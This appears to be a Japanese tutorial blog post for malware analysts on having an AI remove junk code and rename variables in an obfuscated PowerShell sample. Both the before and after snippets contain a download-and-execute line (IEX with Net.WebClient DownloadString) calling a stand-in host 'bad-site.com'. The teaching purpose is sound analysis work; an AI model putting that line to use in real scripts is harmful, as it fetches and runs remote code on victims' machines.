セキュリティアナリストの皆さん、こんにちは! 🕵️♀️
前回は、巨大な難読化コードをAIが消化しやすいように「一口サイズ(Chunk)」に分割する方法を学びました。今度は、その切り出した断片をAIに与えて分析する番ですが…ちょっと待ってください! ✋
攻撃者が投げつけてきたコードは、まさに「ゴミ捨て場(Junk Yard)」です。
意味のない数学演算、実行されないif文、asdfのような無意味な変数名が入り混じっています。これをそのまま分析しようとすると、私たちの貴重な脳細胞が死んでしまいます。🤯
今日は、AIという「清掃員」を雇って、この混乱をきれいに整理する実習をしてみましょう。
ダミーコード(Junk Code)の削除と変数名の置換(Renaming)、この2つをうまくこなすだけで、分析速度が5倍は速くなります! 🚀

1. ダミーコード(Junk Code)とは? 🗑️
マルウェア作成者は、アナリストを混乱させるために意図的に「時間浪費用コード」を仕込みます。
- 意味のない繰り返し文: for (i=0; i<10000; i++) { a = a + 1; a = a - 1; } (結局元に戻る)
- デッドコード (Dead Code): 絶対に実行されることのない if (1 == 2) ブロック
- 偽の変数: 実際の悪意ある動作とは全く関係のない文字列
人間が見ると「あれ?これ重要な計算かな?」と思って見てしまいますが、コンピューターにとっては電気代の無駄でしかありません。私たちはAIに「結果に影響しないものは全部消して!」と指示します。
2. 変数名の置換(Renaming)はなぜするの? 🏷️
$x = “http://…”
$y = “download”
これくらいならまだましです。マルウェアは通常、$xkqzw、$__var_01 のように暗号のような変数名を使います。コードが長くなると「さっきの$xkqzwって何だったっけ?」と記憶力を試されることになります。
私たちはAIに「文脈を見て適切なラベルを付け直して!」と依頼します。
($xkqzw ➡️ $malicious_url)
3. [実践] ゴミ捨て場の清掃開始! 🧹
さあ、ここに攻撃者が作成したPowerShell難読化コードサンプル(チャンク)があります。一見してごちゃごちゃしていますよね?
🤮 [Before] 汚染されたコード(難読化状態)
# 難読化されたコードスニペット
$a = 100;
$b = 200;
$c = $a + $b; # 意味のない計算
For ($i=0; $i -lt 50; $i++) { $c++ } # 時間浪費ループ
$w_str = "N" + "e" + "w" + "-";
$x_val = "Ob" + "je" + "ct";
$y_net = "Net.WebClient";
If (100 -gt 500) { Write-Host "This never runs" } # デッドコード
$z_final = $w_str + $x_val; # "New-Object"
$target = "http://bad-site.com/malware.exe";
# 実際にはここでダウンロードが発生
IEX (New-Object $y_net).DownloadString($target);
それでは、AI(ChatGPTなど)にプロンプトを入力してみましょう。
🗣️ [Prompt] AIに命令する
役割: あなたは熟練したコードリファクタリングの専門家であり、セキュリティアナリストです。
>
状況: 私は悪意のあるコードと疑われるPowerShellスクリプトの一部を分析しています。コードが難読化されており、可読性が非常に低いです。
>
要求事項:
>
1. ダミーコードの削除 (Junk Code Removal): プログラムの最終実行結果(動作)に影響を与えない不要な演算、繰り返し文、デッドコード(Dead Code)をすべて削除してください。
2. 変数名の置換 (Renaming): $w_str、$x_valのような無意味な変数名を、その変数が保持するデータや役割に合わせて直感的な英語名(例: $cmd_prefix、$c2_url)に変更してください。
3. コメントの追加: 変更されたコードの各行が何を意味するのか、日本語のコメントを付けてください。
>
コード:
>
(上記の[Before]コードをここに貼り付け)
✨ [After] AIが清掃したコード
AIが清掃を終えると、以下のような「天国のようなコード」が出てきます。
# クリーンアップされたコード (Cleaned Version)
# [1] 攻撃コマンドの組み立て ("New-Object")
$cmd_part1 = "New-";
$cmd_part2 = "Object";
$cmd_full = $cmd_part1 + $cmd_part2;
# [2] .NET Webクライアントオブジェクト名
$web_client_class = "Net.WebClient";
# [3] 悪性ファイルダウンロードURL (C2サーバー)
$malware_url = "http://bad-site.com/malware.exe";
# [4] 最終実行: Webクライアントを作成し、悪性スクリプトをダウンロードして実行
# オリジナル: IEX (New-Object $y_net).DownloadString($target);
IEX (New-Object $web_client_class).DownloadString($malware_url);
🔍 何が変わったのでしょうか?
- ゴミの焼却: 冒頭にあった$a、$b、$cの計算と意味のないForループ、実行されないIf文がすべて消えました。
- ラベルの交換:
- $w_str ➡️ $cmd_part1
- $target ➡️ $malware_url
- これでコードを読むだけで、「ああ、New-Objectを作成してmalware.exeをダウンロードしているんだな」とすぐに理解できます!
4. 注意事項とヒント 🍯
- ⚠️ 削除しすぎないでください: 時々、AIが重要なロジックまで「これ必要ないように見えますが?」と言って削除してしまうことがあります(Over-cleaning)。
- ヒント: AIに「元のロジックを損なわない範囲で整理して」と強調するか、結果のコードを元のコードと比較して、重要な関数呼び出しが消えていないか必ず目視で確認(Cross-Check)してください。
- 🔄 段階的に進めてください: 一度に「解釈して、短くして、レポートを書いて」とAIに要求すると、AIが混乱します。
- ダミーコードの削除&変数名の変更(今日行ったこと)
- ロジックの解釈
- レポートの作成
- このように段階を分ける方がはるかに正確です。
🎉 まとめ
今日、私たちはAIの力を借りて、ごちゃごちゃだったコードをきれいに整理しました。
まるで散らかった部屋を掃除したら、失くしていた物(悪意ある動作の核心)がはっきりと見えてくるような感覚ではないでしょうか? 😎
きれいになったコードを基に、次回は「デオブファスケーション(Deobfuscation)」、つまり絡み合った文字列を平文に完全に解読し、コメントを付ける高度なプロセスに進みます。
アナリストの皆さん、今日も快適な分析を! 👋
コメントを残す